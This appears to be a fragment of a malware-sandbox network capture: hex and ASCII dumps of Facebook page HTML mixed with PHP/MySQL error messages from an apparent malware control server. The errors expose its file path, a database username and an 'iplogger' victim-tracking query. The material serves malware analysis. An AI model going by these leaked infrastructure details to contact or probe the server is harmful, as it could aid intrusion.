2022-09-09 16:00:12 UTC	45	IN	Data Raw: 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 66 66 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 35 42 54 45 50 5c 75 30 30 32 35 32 30 53 54 4f 50 5c 75 30 30 32 35 35 44 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 Data Ascii: 0color=\u002522\u002523ff0000\u002522\u00253E\u00255BTEP\u002520STOP\u00255D\u00253C\/font\u00253E\u00250A\u00253C\/small\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253C\/b\u00253E\u00250A\u00253C\/font\u00253E", "www
2022-09-09 16:00:12 UTC	46	IN	Data Raw: 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 53 65 63 75 72 69 74 65 49 6e 66 6f 2e 63 6f 6d 2e 57 69 6e 33 32 2e 4d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f Data Ascii: 20from%20t_channels%20where%20name='SecuriteInfo.com.Win32.Malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/fo
2022-09-09 16:00:12 UTC	48	IN	Data Raw: 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 5c 75 30 30 32 35 32 30 65 78 70 65 63 74 73 5c 75 30 30 32 35 32 30 70 61 72 61 6d 65 74 65 72 5c 75 30 30 32 35 32 30 32 5c 75 30 30 32 35 32 30 74 6f 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 73 6f 75 72 63 65 2c 5c 75 30 30 32 35 32 30 62 6f 6f 6c 65 61 6e 5c 75 30 30 32 35 32 30 67 69 76 65 6e 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 Data Ascii: Warning\u00253C\/b\u00253E:\u002520\u002520mysql_query()\u002520expects\u002520parameter\u0025202\u002520to\u002520be\u002520resource,\u002520boolean\u002520given\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/data
2022-09-09 16:00:12 UTC	49	IN	Data Raw: 73 71 6c 69 25 32 30 6f 72 25 32 30 50 44 4f 25 32 30 69 6e 73 74 65 61 64 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 Data Ascii: sqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20&#
2022-09-09 16:00:12 UTC	51	IN	Data Raw: 64 5c 75 30 30 32 35 32 30 77 69 6c 6c 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 6d 6f 76 65 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 74 68 65 5c 75 30 30 32 35 32 30 66 75 74 75 72 65 3a 5c 75 30 30 32 35 32 30 75 73 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 69 5c 75 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 Data Ascii: d\u002520will\u002520be\u002520removed\u002520in\u002520the\u002520future:\u002520use\u002520mysqli\u002520or\u002520PDO\u002520instead\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E
2022-09-09 16:00:12 UTC	52	IN	Data Raw: 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 73 65 6c 65 63 74 5c 75 30 30 32 35 32 30 69 70 6c 6f 67 67 65 72 5c 75 30 30 32 35 32 30 66 72 6f 6d 5c 75 30 30 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c 73 5c 75 30 30 32 35 32 30 77 68 65 72 65 5c 75 30 30 32 35 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 53 65 63 75 72 69 74 65 49 6e 66 6f 2e 63 6f 6d 2e 57 69 6e 33 32 2e 4d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 6c 69 6d 69 74 5c 75 30 30 32 35 32 30 30 2c 31 Data Ascii: ocalhost'\u002520(using\u002520password:\u002520YES)\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253Eselect\u002520iplogger\u002520from\u002520t_channels\u002520where\u002520name='SecuriteInfo.com.Win32.Malware-gen.30674'\u002520limit\u0025200,1
2022-09-09 16:00:12 UTC	54	IN	Data Raw: 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 37 33 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 30 30 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 2d 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f Data Ascii: 0in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localho
2022-09-09 16:00:12 UTC	55	IN	Data Raw: 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 Data Ascii: \u002520(using\u002520password:\u002520YES)\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u0025
2022-09-09 16:00:12 UTC	56	IN	Data Raw: 5c 75 30 30 32 35 33 45 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 26 71 75 6f 74 3b 2c 20 36 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 74 69 74 6c 65 3d 22 54 75 72 6b 69 73 68 22 3e 54 c3 bc 72 6b c3 a7 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 72 74 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 2d 61 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 44 65 70 72 65 63 61 74 65 64 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 65 25 32 30 6d 79 73 71 6c 25 32 30 65 78 74 65 6e 73 69 6f 6e 25 32 30 Data Ascii: \u00253E", "www_list_selector", 6); return false;" title="Turkish">Trke</a></li><li><a class="_sv4" dir="rtl" href="https://ar-ar.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20
2022-09-09 16:00:12 UTC	58	IN	Data Raw: 25 33 45 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 6f 74 3b 29 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 28 26 71 75 6f 74 3b 61 72 5f 41 52 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 61 72 2d 61 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 44 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 Data Ascii: %3E" onclick="require("IntlUtils").setCookieLocale("ar_AR", "en_US", "https:\/\/ar-ar.facebook.com\/\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EDeprecated\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u00
2022-09-09 16:00:12 UTC	59	IN	Data Raw: 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 37 33 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 30 30 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 31 30 34 35 5c 75 30 30 32 35 32 30 2d 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 Data Ascii: se.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E73\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523000000\u002522\u00253E\u00250A\u00253Cb\u00253E1045\u002520-\u002520Access\u
2022-09-09 16:00:12 UTC	61	IN	Data Raw: 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d Data Ascii: %20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20m
2022-09-09 16:00:12 UTC	62	IN	Data Raw: 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e Data Ascii: 0253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520Access\u002520den
2022-09-09 16:00:12 UTC	64	IN	Data Raw: 32 30 30 2c 31 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 66 66 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 35 42 54 45 50 5c 75 30 30 32 35 32 30 53 54 4f 50 5c 75 30 30 32 35 35 44 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 Data Ascii: 200,1\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Csmall\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523ff0000\u002522\u00253E\u00255BTEP\u002520STOP\u00255D\u00253C\/font\u00253E\u00250A\u00253C\/small\u00253E\u00250A\u00253Cbr\u0
2022-09-09 16:00:12 UTC	65	IN	Data Raw: 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 53 65 63 75 72 69 74 65 49 6e 66 6f 2e 63 6f 6d 2e 57 69 6e 33 32 2e 4d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 Data Ascii: 'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='SecuriteInfo.com.Win32.Malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%
2022-09-09 16:00:12 UTC	67	IN	Data Raw: 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 5c 75 30 30 32 35 32 30 65 78 70 65 63 74 73 5c 75 30 30 32 35 32 30 70 61 72 61 6d 65 74 65 72 5c 75 30 30 32 35 32 30 32 5c 75 30 30 32 35 32 30 74 6f 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 73 6f 75 72 63 65 2c 5c 75 30 30 32 35 32 30 62 6f 6f 6c 65 61 6e 5c 75 30 30 32 35 32 30 67 69 76 65 6e 5c 75 30 30 32 35 32 Data Ascii: 0253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_query()\u002520expects\u002520parameter\u0025202\u002520to\u002520be\u002520resource,\u002520boolean\u002520given\u00252
2022-09-09 16:00:12 UTC	68	IN	Data Raw: 73 25 33 41 25 32 46 25 32 46 7a 68 2d 63 6e 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 25 32 46 25 32 35 33 43 62 72 25 32 35 32 30 25 32 46 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 25 32 35 33 45 44 65 70 72 65 63 61 74 65 64 25 32 35 33 43 25 32 46 62 25 32 35 33 45 25 33 41 25 32 35 32 30 25 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 25 32 38 25 32 39 25 33 41 25 32 35 32 30 54 68 65 25 32 35 32 30 6d 79 73 71 6c 25 32 35 32 30 65 78 74 65 6e 73 69 6f 6e 25 32 35 32 30 69 73 25 32 35 32 30 64 65 70 72 65 63 61 74 65 64 25 32 35 32 30 61 6e 64 25 32 35 32 30 77 69 6c 6c 25 32 35 32 30 62 65 25 32 35 32 30 72 65 6d 6f 76 65 64 25 32 35 32 30 69 6e 25 32 35 32 30 74 68 65 25 32 35 32 30 66 75 74 75 72 65 25 33 41 25 32 35 32 30 75 73 65 25 Data Ascii: s%3A%2F%2Fzh-cn.facebook.com%2F%253Cbr%2520%2F%253E%250A%253Cb%253EDeprecated%253C%2Fb%253E%3A%2520%2520mysql_pconnect%28%29%3A%2520The%2520mysql%2520extension%2520is%2520deprecated%2520and%2520will%2520be%2520removed%2520in%2520the%2520future%3A%2520use%
2022-09-09 16:00:12 UTC	70	IN	Data Raw: 65 72 65 25 32 35 32 30 6e 61 6d 65 25 33 44 25 32 37 53 65 63 75 72 69 74 65 49 6e 66 6f 2e 63 6f 6d 2e 57 69 6e 33 32 2e 4d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 25 32 37 25 32 35 32 30 6c 69 6d 69 74 25 32 35 32 30 30 25 32 43 31 25 32 35 33 43 62 72 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 72 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 73 6d 61 6c 6c 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 66 6f 6e 74 25 32 35 32 30 63 6f 6c 6f 72 25 33 44 25 32 35 32 32 25 32 35 32 33 66 66 30 30 30 30 25 32 35 32 32 25 32 35 33 45 25 32 35 35 42 54 45 50 25 32 35 32 30 53 54 4f 50 25 32 35 35 44 25 32 35 33 43 25 32 46 66 6f 6e 74 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 25 32 46 73 6d 61 6c 6c 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 Data Ascii: ere%2520name%3D%27SecuriteInfo.com.Win32.Malware-gen.30674%27%2520limit%25200%2C1%253Cbr%253E%250A%253Cbr%253E%250A%253Csmall%253E%250A%253Cfont%2520color%3D%2522%2523ff0000%2522%253E%255BTEP%2520STOP%255D%253C%2Ffont%253E%250A%253C%2Fsmall%253E%250A%253C
2022-09-09 16:00:12 UTC	71	IN	Data Raw: 6f 6f 6b 2e 63 6f 6d 2f 22 20 74 69 74 6c 65 3d 22 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f 75 74 20 46 61 63 65 62 6f 6f 6b 20 50 6f 72 74 61 6c 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 50 6f 72 74 61 6c 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 69 6e 73 74 61 67 72 61 6d 2e 63 6f 6d 25 32 46 26 61 6d 70 3b 68 3d 41 54 33 56 44 32 64 32 6f 63 52 37 50 71 76 6d 4e 59 50 63 61 64 79 5f 49 69 70 36 6f 47 32 6e 61 43 41 2d 61 55 64 70 52 6f 51 5f 5f 33 6f 53 32 4d 74 66 73 71 72 31 66 6f 6f 45 78 67 70 6a 32 55 56 66 37 31 7a 4e 56 64 57 66 71 45 46 6b 59 73 49 4b 53 66 70 49 Data Ascii: ook.com/" title="Learn more about Facebook Portal" target="_blank">Portal</a></li><li><a href="https://l.facebook.com/l.php?u=https%3A%2F%2Fwww.instagram.com%2F&h=AT3VD2d2ocR7PqvmNYPcady_Iip6oG2naCA-aUdpRoQ__3oS2Mtfsqr1fooExgpj2UVf71zNVdWfqEFkYsIKSfpI
2022-09-09 16:00:12 UTC	72	IN	Data Raw: 37 31 32 62 0d 0a 72 2f 3f 65 6e 74 72 79 5f 70 6f 69 6e 74 3d 63 32 6c 30 5a 51 25 33 44 25 33 44 22 20 74 69 74 6c 65 3d 22 53 65 65 20 74 68 65 20 56 6f 74 69 6e 67 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 43 65 6e 74 65 72 2e 22 3e 56 6f 74 69 6e 67 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 43 65 6e 74 65 72 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 67 72 6f 75 70 73 2f 65 78 70 6c 6f 72 65 2f 22 20 74 69 74 6c 65 3d 22 45 78 70 6c 6f 72 65 20 6f 75 72 20 47 72 6f 75 70 73 2e 22 3e 47 72 6f 75 70 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 62 6f 75 74 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 22 20 61 63 63 65 73 73 6b 65 79 3d 22 38 22 20 74 69 74 6c 65 3d 22 52 65 61 64 20 6f Data Ascii: 712br/?entry_point=c2l0ZQ%3D%3D" title="See the Voting Information Center.">Voting Information Center</a></li><li><a href="/groups/explore/" title="Explore our Groups.">Groups</a></li><li><a href="https://about.facebook.com/" accesskey="8" title="Read o
